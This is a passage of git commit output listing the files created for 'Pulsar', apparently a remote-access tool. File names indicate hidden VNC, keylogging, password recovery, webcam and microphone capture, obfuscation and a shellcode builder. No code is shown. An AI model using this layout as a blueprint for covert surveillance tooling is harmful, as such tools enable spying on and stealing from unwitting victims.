Pulsar.Common/Models/StartupItem.cs create mode 100644 Pulsar.Common/Models/TcpConnection.cs create mode 100644 Pulsar.Common/NativeMethods.cs create mode 100644 Pulsar.Common/Networking/.DS_Store create mode 100644 Pulsar.Common/Networking/ISender.cs create mode 100644 Pulsar.Common/Networking/SecureMessageEnvelopeHelper.cs create mode 100644 Pulsar.Common/Plugins/IUniversalPlugin.cs create mode 100644 Pulsar.Common/Plugins/UniversalPluginDispatcher.cs create mode 100644 Pulsar.Common/Properties/AssemblyInfo.cs create mode 100644 Pulsar.Common/Pulsar.Common.csproj create mode 100644 Pulsar.Common/UAC/UAC.cs create mode 100644 Pulsar.Common/Utilities/ByteConverter.cs create mode 100644 Pulsar.Common/Utilities/DeferredAssemblyCatalog.cs create mode 100644 Pulsar.Common/Utilities/SafeRandom.cs create mode 100644 Pulsar.Common/Video/.DS_Store create mode 100644 Pulsar.Common/Video/Codecs/UnsafeStreamCodec.cs create mode 100644 Pulsar.Common/Video/Compression/JpgCompression.cs create mode 100644 Pulsar.Common/Video/Resolution.cs create mode 100644 Pulsar.Server/.DS_Store create mode 100644 Pulsar.Server/Build/.DS_Store create mode 100644 Pulsar.Server/Build/ClientBuilder.cs create mode 100644 Pulsar.Server/Build/Obfuscator/.DS_Store create mode 100644 Pulsar.Server/Build/Obfuscator/Obfuscator.cs create mode 100644 Pulsar.Server/Build/Obfuscator/Transformers/ITransformer.cs create mode 100644 Pulsar.Server/Build/Obfuscator/Transformers/RenamerTransformer.cs create mode 100644 Pulsar.Server/Build/Obfuscator/Transformers/StringEncryptionTransformer.cs create mode 100644 Pulsar.Server/Build/Obfuscator/Utils/InjectHelper.cs create mode 100644 Pulsar.Server/Build/Obfuscator/Utils/Injection/StringEncryption.cs create mode 100644 Pulsar.Server/Build/Renamer.cs create mode 100644 Pulsar.Server/Build/TinyLoader/TinyLoader.cs create mode 100644 Pulsar.Server/Controls/.DS_Store create mode 100644 Pulsar.Server/Controls/AudioVisualizer.cs create mode 100644 Pulsar.Server/Controls/ClientsListElementHost.cs create mode 100644 Pulsar.Server/Controls/DotNetBarTabControl.cs create mode 100644 Pulsar.Server/Controls/HVNCRapidPictureBox.cs create mode 100644 Pulsar.Server/Controls/HeatMapElementHost.cs create mode 100644 Pulsar.Server/Controls/HexEditor/ByteCollection.cs create mode 100644 Pulsar.Server/Controls/HexEditor/Caret.cs create mode 100644 Pulsar.Server/Controls/HexEditor/EditView.cs create mode 100644 Pulsar.Server/Controls/HexEditor/HexEditor.cs create mode 100644 Pulsar.Server/Controls/HexEditor/HexViewHandler.cs create mode 100644 Pulsar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs create mode 100644 Pulsar.Server/Controls/HexEditor/StringViewHandler.cs create mode 100644 Pulsar.Server/Controls/InputBox.cs create mode 100644 Pulsar.Server/Controls/Line.cs create mode 100644 Pulsar.Server/Controls/ListViewEx.cs create mode 100644 Pulsar.Server/Controls/MenuButton.cs create mode 100644 Pulsar.Server/Controls/NoButtonTabControl.cs create mode 100644 Pulsar.Server/Controls/RapidPictureBox.cs create mode 100644 Pulsar.Server/Controls/RegistryTreeView.cs create mode 100644 Pulsar.Server/Controls/RegistryValueLstItem.cs create mode 100644 Pulsar.Server/Controls/StatsElementHost.cs create mode 100644 Pulsar.Server/Controls/WordTextBox.Designer.cs create mode 100644 Pulsar.Server/Controls/WordTextBox.cs create mode 100644 Pulsar.Server/Controls/Wpf/ClientListEntry.cs create mode 100644 Pulsar.Server/Controls/Wpf/ClientsListView.xaml create mode 100644 Pulsar.Server/Controls/Wpf/ClientsListView.xaml.cs create mode 100644 Pulsar.Server/Controls/Wpf/FavoriteToBrushConverter.cs create mode 100644 Pulsar.Server/Controls/Wpf/HeatMapView.xaml create mode 100644 Pulsar.Server/Controls/Wpf/HeatMapView.xaml.cs create mode 100644 Pulsar.Server/Controls/Wpf/HeatMapViewModel.cs create mode 100644 Pulsar.Server/Controls/Wpf/ProcessTreeView.xaml create mode 100644 Pulsar.Server/Controls/Wpf/ProcessTreeView.xaml.cs create mode 100644 Pulsar.Server/Controls/Wpf/RelayCommand.cs create mode 100644 Pulsar.Server/Controls/Wpf/StatsView.xaml create mode 100644 Pulsar.Server/Controls/Wpf/StatsView.xaml.cs create mode 100644 Pulsar.Server/Controls/Wpf/StatsViewModel.cs create mode 100644 Pulsar.Server/DiscordRPC/DiscordRPC.cs create mode 100644 Pulsar.Server/DiscordRPC/DiscordRPCManager.cs create mode 100644 Pulsar.Server/Enums/TransferType.cs create mode 100644 Pulsar.Server/Enums/WordType.cs create mode 100644 Pulsar.Server/Extensions/ListViewExtensions.cs create mode 100644 Pulsar.Server/Extensions/RegistryKeyExtensions.cs create mode 100644 Pulsar.Server/Forms/.DS_Store create mode 100644 Pulsar.Server/Forms/DarkMode/DarkMode.cs create mode 100644 Pulsar.Server/Forms/DarkMode/DarkModeManager.cs create mode 100644 Pulsar.Server/Forms/FrmAbout.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmAbout.cs create mode 100644 Pulsar.Server/Forms/FrmAbout.resx create mode 100644 Pulsar.Server/Forms/FrmBuilder.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmBuilder.cs create mode 100644 Pulsar.Server/Forms/FrmBuilder.resx create mode 100644 Pulsar.Server/Forms/FrmCertificate.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmCertificate.cs create mode 100644 Pulsar.Server/Forms/FrmCertificate.resx create mode 100644 Pulsar.Server/Forms/FrmConnections.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmConnections.cs create mode 100644 Pulsar.Server/Forms/FrmConnections.resx create mode 100644 Pulsar.Server/Forms/FrmCustomFileStarter.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmCustomFileStarter.cs create mode 100644 Pulsar.Server/Forms/FrmCustomFileStarter.resx create mode 100644 Pulsar.Server/Forms/FrmFileManager.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmFileManager.cs create mode 100644 Pulsar.Server/Forms/FrmFileManager.resx create mode 100644 Pulsar.Server/Forms/FrmHVNC.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmHVNC.cs create mode 100644 Pulsar.Server/Forms/FrmHVNC.resx create mode 100644 Pulsar.Server/Forms/FrmKeylogger.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmKeylogger.resx create mode 100644 Pulsar.Server/Forms/FrmKeywords.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmKeywords.cs create mode 100644 Pulsar.Server/Forms/FrmKeywords.resx create mode 100644 Pulsar.Server/Forms/FrmMain.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmMain.resx create mode 100644 Pulsar.Server/Forms/FrmMemoryDump.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmMemoryDump.cs create mode 100644 Pulsar.Server/Forms/FrmMemoryDump.resx create mode 100644 Pulsar.Server/Forms/FrmNickname.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmNickname.cs create mode 100644 Pulsar.Server/Forms/FrmNickname.resx create mode 100644 Pulsar.Server/Forms/FrmPasswordRecovery.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmPasswordRecovery.cs create mode 100644 Pulsar.Server/Forms/FrmPasswordRecovery.resx create mode 100644 Pulsar.Server/Forms/FrmPluginManager.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmPluginManager.cs create mode 100644 Pulsar.Server/Forms/FrmPluginManager.resx create mode 100644 Pulsar.Server/Forms/FrmRegValueEditBinary.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRegValueEditBinary.cs create mode 100644 Pulsar.Server/Forms/FrmRegValueEditBinary.resx create mode 100644 Pulsar.Server/Forms/FrmRegValueEditMultiString.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRegValueEditMultiString.cs create mode 100644 Pulsar.Server/Forms/FrmRegValueEditMultiString.resx create mode 100644 Pulsar.Server/Forms/FrmRegValueEditString.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRegValueEditString.cs create mode 100644 Pulsar.Server/Forms/FrmRegValueEditString.resx create mode 100644 Pulsar.Server/Forms/FrmRegValueEditWord.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRegValueEditWord.cs create mode 100644 Pulsar.Server/Forms/FrmRegValueEditWord.resx create mode 100644 Pulsar.Server/Forms/FrmRegistryEditor.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRegistryEditor.cs create mode 100644 Pulsar.Server/Forms/FrmRegistryEditor.resx create mode 100644 Pulsar.Server/Forms/FrmRemoteChat.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteChat.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteChat.resx create mode 100644 Pulsar.Server/Forms/FrmRemoteDesktop.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteDesktop.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteDesktop.resx create mode 100644 Pulsar.Server/Forms/FrmRemoteExecution.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteExecution.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteExecution.resx create mode 100644 Pulsar.Server/Forms/FrmRemoteMic.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteMic.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteMic.resx create mode 100644 Pulsar.Server/Forms/FrmRemoteScripting.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteScripting.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteScripting.resx create mode 100644 Pulsar.Server/Forms/FrmRemoteShell.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteShell.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteShell.resx create mode 100644 Pulsar.Server/Forms/FrmRemoteSystemAudio.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteSystemAudio.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteSystemAudio.resx create mode 100644 Pulsar.Server/Forms/FrmRemoteWebcam.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteWebcam.cs create mode 100644 Pulsar.Server/Forms/FrmRemoteWebcam.resx create mode 100644 Pulsar.Server/Forms/FrmReverseProxy.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmReverseProxy.cs create mode 100644 Pulsar.Server/Forms/FrmReverseProxy.resx create mode 100644 Pulsar.Server/Forms/FrmSettings.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmSettings.cs create mode 100644 Pulsar.Server/Forms/FrmSettings.resx create mode 100644 Pulsar.Server/Forms/FrmShowMessagebox.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmShowMessagebox.cs create mode 100644 Pulsar.Server/Forms/FrmShowMessagebox.resx create mode 100644 Pulsar.Server/Forms/FrmStartupAdd.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmStartupAdd.cs create mode 100644 Pulsar.Server/Forms/FrmStartupAdd.resx create mode 100644 Pulsar.Server/Forms/FrmStartupManager.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmStartupManager.cs create mode 100644 Pulsar.Server/Forms/FrmStartupManager.resx create mode 100644 Pulsar.Server/Forms/FrmSystemInformation.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmSystemInformation.cs create mode 100644 Pulsar.Server/Forms/FrmSystemInformation.resx create mode 100644 Pulsar.Server/Forms/FrmTaskCommand.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmTaskCommand.cs create mode 100644 Pulsar.Server/Forms/FrmTaskCommand.resx create mode 100644 Pulsar.Server/Forms/FrmTaskExecute.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmTaskExecute.cs create mode 100644 Pulsar.Server/Forms/FrmTaskExecute.resx create mode 100644 Pulsar.Server/Forms/FrmTaskManager.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmTaskManager.cs create mode 100644 Pulsar.Server/Forms/FrmTaskManager.resx create mode 100644 Pulsar.Server/Forms/FrmTaskMessageBox.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmTaskMessageBox.cs create mode 100644 Pulsar.Server/Forms/FrmTaskMessageBox.resx create mode 100644 Pulsar.Server/Forms/FrmVisitWebsite.Designer.cs create mode 100644 Pulsar.Server/Forms/FrmVisitWebsite.cs create mode 100644 Pulsar.Server/Forms/FrmVisitWebsite.resx create mode 100644 Pulsar.Server/Forms/HVNCPopUp/FrmHVNCPopUp.Designer.cs create mode 100644 Pulsar.Server/Forms/HVNCPopUp/FrmHVNCPopUp.cs create mode 100644 Pulsar.Server/Forms/HVNCPopUp/FrmHVNCPopUp.resx create mode 100644 Pulsar.Server/Forms/RemoteDesktopPopUp/FrmOpenApplicationOnMonitor.Designer.cs create mode 100644 Pulsar.Server/Forms/RemoteDesktopPopUp/FrmOpenApplicationOnMonitor.cs create mode 100644 Pulsar.Server/Forms/RemoteDesktopPopUp/FrmOpenApplicationOnMonitor.resx create mode 100644 Pulsar.Server/Forms/ScreenCaptureHider/ScreenCaptureHider.cs create mode 100644 Pulsar.Server/Helper/CertificateHelper.cs create mode 100644 Pulsar.Server/Helper/ClipboardMonitor.cs create mode 100644 Pulsar.Server/Helper/NativeMethodsHelper.cs create mode 100644 Pulsar.Server/Helper/ShellcodeBuilder.cs create mode 100644 Pulsar.Server/Helper/WindowHelper.cs create mode 100644 Pulsar.Server/Images/.DS_Store create mode 100644 Pulsar.Server/Images/Flags/ad.png create mode 100644 Pulsar.Server/Images/Flags/ae.png create mode 100644 Pulsar.Server/Images/Flags/af.png create mode 100644 Pulsar.Server/Images/Flags/ag.png create mode 100644 Pulsar.Server/Images/Flags/ai.png create mode 100644 Pulsar.Server/Images/Flags/al.png create mode 100644 Pulsar.Server/Images/Flags/am.png create mode 100644 Pulsar.Server/Images/Flags/an.png create mode 100644 Pulsar.Server/Images/Flags/ao.png create mode 100644 Pulsar.Server/Images/Flags/ar.png create mode 100644 Pulsar.Server/Images/Flags/as.png create mode 100644 Pulsar.Server/Images/Flags/at.png create mode 100644 Pulsar.Server/Images/Flags/au.png create mode 100644 Pulsar.Server/Images/Flags/aw.png create mode 100644 Pulsar.Server/Images/Flags/ax.png create mode 100644 Pulsar.Server/Images/Flags/az.png create mode 100644 Pulsar.Server/Images/Flags/ba.png create mode 100644 Pulsar.Server/Images/Flags/bb.png create mode 100644 Pulsar.Server/Images/Flags/bd.png create mode 100644 Pulsar.Server/Images/Flags/be.png create mode 100644 Pulsar.Server/Images/Flags/bf.png create mode 100644 Pulsar.Server/Images/Flags/bg.png create mode 100644 Pulsar.Server/Images/Flags/bh.png create mode 100644 Pulsar.Server/Images/Flags/bi.png create mode 100644 Pulsar.Server/Images/Flags/bj.png create mode 100644 Pulsar.Server/Images/Flags/bm.png create mode 100644 Pulsar.Server/Images/Flags/bn.png create mode 100644 Pulsar.Server/Images/Flags/bo.png create mode 100644 Pulsar.Server/Images/Flags/br.png create mode 100644 Pulsar.Server/Images/Flags/bs.png create mode 100644 Pulsar.Server/Images/Flags/bt.png create mode 100644 Pulsar.Server/Images/Flags/bv.png create mode 100644 Pulsar.Server/Images/Flags/bw.png create mode 100644 Pulsar.Server/Images/Flags/by.png create mode 100644 Pulsar.Server/Images/Flags/bz.png create mode 100644 Pulsar.Server/Images/Flags/ca.png create mode 100644 Pulsar.Server/Images/Flags/catalonia.png create mode 100644 Pulsar.Server/Images/Flags/cc.png create mode 100644 Pulsar.Server/Images/Flags/cd.png create mode 100644 Pulsar.Server/Images/Flags/cf.png create mode 100644 Pulsar.Server/Images/Flags/cg.png create mode 100644 Pulsar.Server/Images/Flags/ch.png create mode 100644 Pulsar.Server/Images/Flags/ci.png create mode 100644 Pulsar.Server/Images/Flags/ck.png create mode 100644 Pulsar.Server/Images/Flags/cl.png create mode 100644 Pulsar.Server/Images/Flags/cm.png create mode 100644 Pulsar.Server/Images/Flags/cn.png create mode 100644 Pulsar.Server/Images/Flags/co.png create mode 100644 Pulsar.Server/Images/Flags/cr.png create mode 100644 Pulsar.Server/Images/Flags/cs.png create mode 100644 Pulsar.Server/Images/Flags/cu.png create mode 100644 Pulsar.Server/Images/Flags/cv.png create mode 100644 Pulsar.Server/Images/Flags/cx.png create mode 100644 Pulsar.Server/Images/Flags/cy.png create mode 100644 Pulsar.Server/Images/Flags/cz.png create mode 100644 Pulsar.Server/Images/Flags/de.png create mode 100644 Pulsar.Server/Images/Flags/dj.png create mode 100644 Pulsar.Server/Images/Flags/dk.png create mode 100644 Pulsar.Server/Images/Flags/dm.png create mode 100644 Pulsar.Server/Images/Flags/do.png create mode 100644 Pulsar.Server/Images/Flags/dz.png create mode 100644 Pulsar.Server/Images/Flags/ec.png create mode 100644 Pulsar.Server/Images/Flags/ee.png create mode 100644 Pulsar.Server/Images/Flags/eg.png create mode 100644 Pulsar.Server/Images/Flags/eh.png create mode 100644 Pulsar.Server/Images/Flags/england.png create mode 100644 Pulsar.Server/Images/Flags/er.png create mode 100644 Pulsar.Server/Images/Flags/es.png create mode 100644 Pulsar.Server/Images/Flags/et.png create mode 100644 Pulsar.Server/Images/Flags/europeanunion.png create mode 100644 Pulsar.Server/Images/Flags/fam.png create mode 100644 Pulsar.Server/Images/Flags/fi.png create mode 100644 Pulsar.Server/Images/Flags/fj.png create mode 100644 Pulsar.Server/Images/Flags/fk.png create mode 100644 Pulsar.Server/Images/Flags/fm.png create mode 100644 Pulsar.Server/Images/Flags/fo.png create mode 100644 Pulsar.Server/Images/Flags/fr.png create mode 100644 Pulsar.Server/Images/Flags/ga.png create mode 100644 Pulsar.Server/Images/Flags/gb.png create mode 100644 Pulsar.Server/Images/Flags/gd.png create mode 100644 Pulsar.Server/Images/Flags/ge.png create mode 100644 Pulsar.Server/Images/Flags/gf.png create mode 100644 Pulsar.Server/Images/Flags/gh.png create mode 100644 Pulsar.Server/Images/Flags/gi.png create mode 100644 Pulsar.Server/Images/Flags/gl.png create mode 100644 Pulsar.Server/Images/Flags/gm.png create mode 100644 Pulsar.Server/Images/Flags/gn.png create mode 100644 Pulsar.Server/Images/Flags/gp.png create mode 100644 Pulsar.Server/Images/Flags/gq.png create mode 100644 Pulsar.Server/Images/Flags/gr.png create mode 100644 Pulsar.Server/Images/Flags/gs.png create mode 100644 Pulsar.Server/Images/Flags/gt.png create mode 100644 Pulsar.Server/Images/Flags/gu.png create mode 100644 Pulsar.Server/Images/Flags/gw.png create mode 100644 Pulsar.Server/Images/Flags/gy.png create mode 100644 Pulsar.Server/Images/Flags/hk.png create mode 100644 Pulsar.Server/Images/Flags/hm.png create mode 100644 Pulsar.Server/Images/Flags/hn.png create mode 100644 Pulsar.Server/Images/Flags/hr.png create mode 100644 Pulsar.Server/Images/Flags/ht.png create mode 100644 Pulsar.Server/Images/Flags/hu.png create mode 100644 Pulsar.Server/Images/Flags/id.png create mode 100644 Pulsar.Server/Images/Flags/ie.png create mode 100644 Pulsar.Server/Images/Flags/il.png create mode 100644 Pulsar.Server/Images/Flags/in.png create mode 100644 Pulsar.Server/Images/Flags/io.png create mode 100644 Pulsar.Server/Images/Flags/iq.png create mode 100644 Pulsar.Server/Images/Flags/ir.png create mode 100644 Pulsar.Server/Images/Flags/is.png create mode 100644 Pulsar.Server/Images/Flags/it.png create mode 100644 Pulsar.Server/Images/Flags/jm.png create mode 100644 Pulsar.Server/Images/Flags/jo.png create mode 100644 Pulsar.Server/Images/Flags/jp.png create mode 100644 Pulsar.Server/Images/Flags/ke.png create mode 100644 Pulsar.Server/Images/Flags/kg.png create mode 100644 Pulsar.Server/Images/Flags/kh.png create mode 100644 Pulsar.Server/Images/Flags/ki.png create mode 100644 Pulsar.Server/Images/Flags/km.png create mode 100644 Pulsar.Server/Images/Flags/kn.png create mode 100644 Pulsar.Server/Images/Flags/kp.png create mode 100644 Pulsar.Server/Images/Flags/kr.png create mode 100644 Pulsar.Server/Images/Flags/kw.png create mode 100644 Pulsar.Server/Images/Flags/ky.png create mode 100644 Pulsar.Server/Images/Flags/kz.png create mode 100644 Pulsar.Server/Images/Flags/la.png create mode 100644 Pulsar.Server/Images/Flags/lb.png create mode 100644 Pulsar.Server/Images/Flags/lc.png create mode 100644 Pulsar.Server/Images/Flags/li.png create mode 100644 Pulsar.Server/Images/Flags/lk.png create mode 100644 Pulsar.Server/Images/Flags/lr.png create mode 100644 Pulsar.Server/Images/Flags/ls.png create mode 100644 Pulsar.Server/Images/Flags/lt.png create mode 100644 Pulsar.Server/Images/Flags/lu.png create mode 100644 Pulsar.Server/Images/Flags/lv.png create mode 100644 Pulsar.Server/Images/Flags/ly.png create mode 100644 Pulsar.Server/Images/Flags/ma.png create mode 100644 Pulsar.Server/Images/Flags/mc.png create mode 100644 Pulsar.Server/Images/Flags/md.png create mode 100644 Pulsar.Server/Images/Flags/me.png create mode 100644 Pulsar.Server/Images/Flags/mg.png create mode 100644 Pulsar.Server/Images/Flags/mh.png create mode 100644 Pulsar.Server/Images/Flags/mk.png create mode 100644 Pulsar.Server/Images/Flags/ml.png create mode 100644 Pulsar.Server/Images/Flags/mm.png create mode 100644 Pulsar.Server/Images/Flags/mn.png create mode 100644 Pulsar.Server/Images/Flags/mo.png create mode 100644 Pulsar.Server/Images/Flags/mp.png create mode 100644 Pulsar.Server/Images/Flags/mq.png create mode 100644 Pulsar.Server/Images/Flags/mr.png create mode 100644 Pulsar.Server/Images/Flags/ms.png create mode 100644 Pulsar.Server/Images/Flags/mt.png create mode 100644 Pulsar.Server/Images/Flags/mu.png create mode 100644 Pulsar.Server/Images/Flags/mv.png create mode 100644 Pulsar.Server/Images/Flags/mw.png create mode 100644 Pulsar.Server/Images/Flags/mx.png create mode 100644 Pulsar.Server/Images/Flags/my.png create mode 100644 Pulsar.Server/Images/Flags/mz.png create mode 100644 Pulsar.Server/Images/Flags/na.png create mode 100644 Pulsar.Server/Images/Flags/nc.png create mode 100644 Pulsar.Server/Images/Flags/ne.png create mode 100644 Pulsar.Server/Images/Flags/nf.png create mode 100644 Pulsar.Server/Images/Flags/ng.png create mode 100644 Pulsar.Server/Images/Flags/ni.png create mode 100644 Pulsar.Server/Images/Flags/nl.png create mode 100644 Pulsar.Server/Images/Flags/no.png create mode 100644 Pulsar.Server/Images/Flags/np.png create mode 100644 Pulsar.Server/Images/Flags/nr.png create mode 100644 Pulsar.Server/Images/Flags/nu.png create mode 100644 Pulsar.Server/Images/Flags/nz.png create mode 100644 Pulsar.Server/Images/Flags/om.png create mode 100644 Pulsar.Server/Images/Flags/pa.png create mode 100644 Pulsar.Server/Images/Flags/pe.png create mode 100644 Pulsar.Server/Images/Flags/pf.png create mode 100644 Pulsar.Server/Images/Flags/pg.png create mode 100644 Pulsar.Server/Images/Flags/ph.png create mode 100644 Pulsar.Server/Images/Flags/pk.png create mode 100644 Pulsar.Server/Images/Flags/pl.png create mode 100644 Pulsar.Server/Images/Flags/pm.png create mode 100644 Pulsar.Server/Images/Flags/pn.png create mode 100644 Pulsar.Server/Images/Flags/pr.png create mode 100644 Pulsar.Server/Images/Flags/ps.png create mode 100644 Pulsar.Server/Images/Flags/pt.png create mode 100644 Pulsar.Server/Images/Flags/pw.png create mode 100644 Pulsar.Server/Images/Flags/py.png create mode 100644 Pulsar.Server/Images/Flags/qa.png create mode 100644 Pulsar.Server/Images/Flags/re.png create mode 100644 Pulsar.Server/Images/Flags/ro.png create mode 100644 Pulsar.Server/Images/Flags/rs.png create mode 100644 Pulsar.Server/Images/Flags/ru.png create mode 100644 Pulsar.Server/Images/Flags/rw.png create mode 100644 Pulsar.Server/Images/Flags/sa.png create mode 100644 Pulsar.Server/Images/Flags/sb.png create mode 100644 Pulsar.Server/Images/Flags/sc.png create mode 100644 Pulsar.Server/Images/Flags/scotland.png create mode 100644 Pulsar.Server/Images/Flags/sd.png create mode 100644 Pulsar.Server/Images/Flags/se.png create mode 100644 Pulsar.Server/Images/Flags/sg.png create mode 100644 Pulsar.Server/Images/Flags/sh.png create mode 100644 Pulsar.Server/Images/Flags/si.png create mode 100644 Pulsar.Server/Images/Flags/sj.png create mode 100644 Pulsar.Server/Images/Flags/sk.png create mode 100644 Pulsar.Server/Images/Flags/sl.png create mode 100644 Pulsar.Server/Images/Flags/sm.png create mode 100644 Pulsar.Server/Images/Flags/sn.png create mode 100644 Pulsar.Server/Images/Flags/so.png create mode 100644 Pulsar.Server/Images/Flags/sr.png create mode 100644 Pulsar.Server/Images/Flags/st.png create mode 100644 Pulsar.Server/Images/Flags/sv.png create mode 100644 Pulsar.Server/Images/Flags/sy.png create mode 100644 Pulsar.Server/Images/Flags/sz.png create mode 100644 Pulsar.Server/Images/Flags/tc.png create mode 100644 Pulsar.Server/Images/Flags/td.png create mode 100644 Pulsar.Server/Images/Flags/tf.png create mode 100644 Pulsar.Server/Images/Flags/tg.png create mode 100644 Pulsar.Server/Images/Flags/th.png create mode 100644 Pulsar.Server/Images/Flags/tj.png create mode 100644 Pulsar.Server/Images/Flags/tk.png create mode 100644 Pulsar.Server/Images/Flags/tl.png create mode 100644 Pulsar.Server/Images/Flags/tm.png create mode 100644 Pulsar.Server/Images/Flags/tn.png create mode 100644 Pulsar.Server/Images/Flags/to.png create mode 100644 Pulsar.Server/Images/Flags/tr.png create mode 100644 Pulsar.Server/Images/Flags/tt.png create mode 100644 Pulsar.Server/Images/Flags/tv.png create mode 100644 Pulsar.Server/Images/Flags/tw.png create mode 100644 Pulsar.Server/Images/Flags/tz.png create mode 100644 Pulsar.Server/Images/Flags/ua.png create mode 100644 Pulsar.Server/Images/Flags/ug.png create mode 100644 Pulsar.Server/Images/Flags/um.png create mode 100644 Pulsar.Server/Images/Flags/us.png create mode 100644 Pulsar.Server/Images/Flags/uy.png create mode 100644 Pulsar.Server/Images/Flags/uz.png create mode 100644 Pulsar.Server/Images/Flags/va.png create mode 100644 Pulsar.Server/Images/Flags/vc.png create mode 100644 Pulsar.Server/Images/Flags/ve.png create mode 100644 Pulsar.Server/Images/Flags/vg.png create mode 100644 Pulsar.Server/Images/Flags/vi.png create mode 100644 Pulsar.Server/Images/Flags/vn.png create mode 100644 Pulsar.Server/Images/Flags/vu.png create mode 100644 Pulsar.Server/Images/Flags/wales.png create mode 100644 Pulsar.Server/Images/Flags/wf.png create mode 100644 Pulsar.Server/Images/Flags/ws.png create mode 100644 Pulsar.Server/Images/Flags/xy.png create mode 100644 Pulsar.Server/Images/Flags/ye.png create mode 100644 Pulsar.Server/Images/Flags/yt.png create mode 100644 Pulsar.Server/Images/Flags/za.png create mode 100644 Pulsar.Server/Images/Flags/zm.png create mode 100644 Pulsar.Server/Images/Flags/zw.png create mode 100644 Pulsar.Server/Images/Helpers/ImageChanger.cs create mode 100644 Pulsar.Server/Images/Icons/Pulsar_Server.ico create mode 100644 Pulsar.Server/Images/Icons/Pulsar_Server.png create mode 100644 Pulsar.Server/Images/aboutflag.png create mode 100644 Pulsar.Server/Images/actions.png create mode 100644 Pulsar.Server/Images/application.png create mode 100644 Pulsar.Server/Images/application_add.png create mode 100644 Pulsar.Server/Images/application_cascade.png create mode 100644 Pulsar.Server/Images/application_delete.png create mode 100644 Pulsar.Server/Images/application_edit.png create mode 100644 Pulsar.Server/Images/application_go.png create mode 100644 Pulsar.Server/Images/archive.png create mode 100644 Pulsar.Server/Images/arrow_down.png create mode 100644 Pulsar.Server/Images/arrow_up.png create mode 100644 Pulsar.Server/Images/autorefreshicon.png create mode 100644 Pulsar.Server/Images/back.png create mode 100644 Pulsar.Server/Images/bricks.png create mode 100644 Pulsar.Server/Images/broom.png create mode 100644 Pulsar.Server/Images/cancel.png create mode 100644 Pulsar.Server/Images/cdclose.png create mode 100644 Pulsar.Server/Images/cdopen.png create mode 100644 Pulsar.Server/Images/cdplayer.png create mode 100644 Pulsar.Server/Images/cog.png create mode 100644 Pulsar.Server/Images/computer.png create mode 100644 Pulsar.Server/Images/delete.png create mode 100644 Pulsar.Server/Images/dllinjectoricon.png create mode 100644 Pulsar.Server/Images/done.png create mode 100644 Pulsar.Server/Images/drive_go.png create mode 100644 Pulsar.Server/Images/emoticon_evilgrin.png create mode 100644 Pulsar.Server/Images/eye.png create mode 100644 Pulsar.Server/Images/file.png create mode 100644 Pulsar.Server/Images/folder.png create mode 100644 Pulsar.Server/Images/image.png create mode 100644 Pulsar.Server/Images/information.png create mode 100644 Pulsar.Server/Images/key_go.png create mode 100644 Pulsar.Server/Images/keyboard_add.png create mode 100644 Pulsar.Server/Images/keyboard_delete.png create mode 100644 Pulsar.Server/Images/keyboard_magnify.png create mode 100644 Pulsar.Server/Images/keyboardinput.png create mode 100644 Pulsar.Server/Images/lightning.png create mode 100644 Pulsar.Server/Images/lockscreenicon.png create mode 100644 Pulsar.Server/Images/lovefolder.png create mode 100644 Pulsar.Server/Images/magnet.png create mode 100644 Pulsar.Server/Images/magnifyingglassicon.png create mode 100644 Pulsar.Server/Images/maximizewindowicon.png create mode 100644 Pulsar.Server/Images/minimizewindowicon.png create mode 100644 Pulsar.Server/Images/monitor.png create mode 100644 Pulsar.Server/Images/monitoricon.png create mode 100644 Pulsar.Server/Images/monitoring.png create mode 100644 Pulsar.Server/Images/monitoroff.png create mode 100644 Pulsar.Server/Images/monitoron.png create mode 100644 Pulsar.Server/Images/mouse_add.png create mode 100644 Pulsar.Server/Images/mouse_delete.png create mode 100644 Pulsar.Server/Images/movie.png create mode 100644 Pulsar.Server/Images/music.png create mode 100644 Pulsar.Server/Images/nuclear.png create mode 100644 Pulsar.Server/Images/page_copy.png create mode 100644 Pulsar.Server/Images/pcmicrophone.png create mode 100644 Pulsar.Server/Images/pdf.png create mode 100644 Pulsar.Server/Images/refresh.png create mode 100644 Pulsar.Server/Images/reg_binary.png create mode 100644 Pulsar.Server/Images/reg_string.png create mode 100644 Pulsar.Server/Images/registry.png create mode 100644 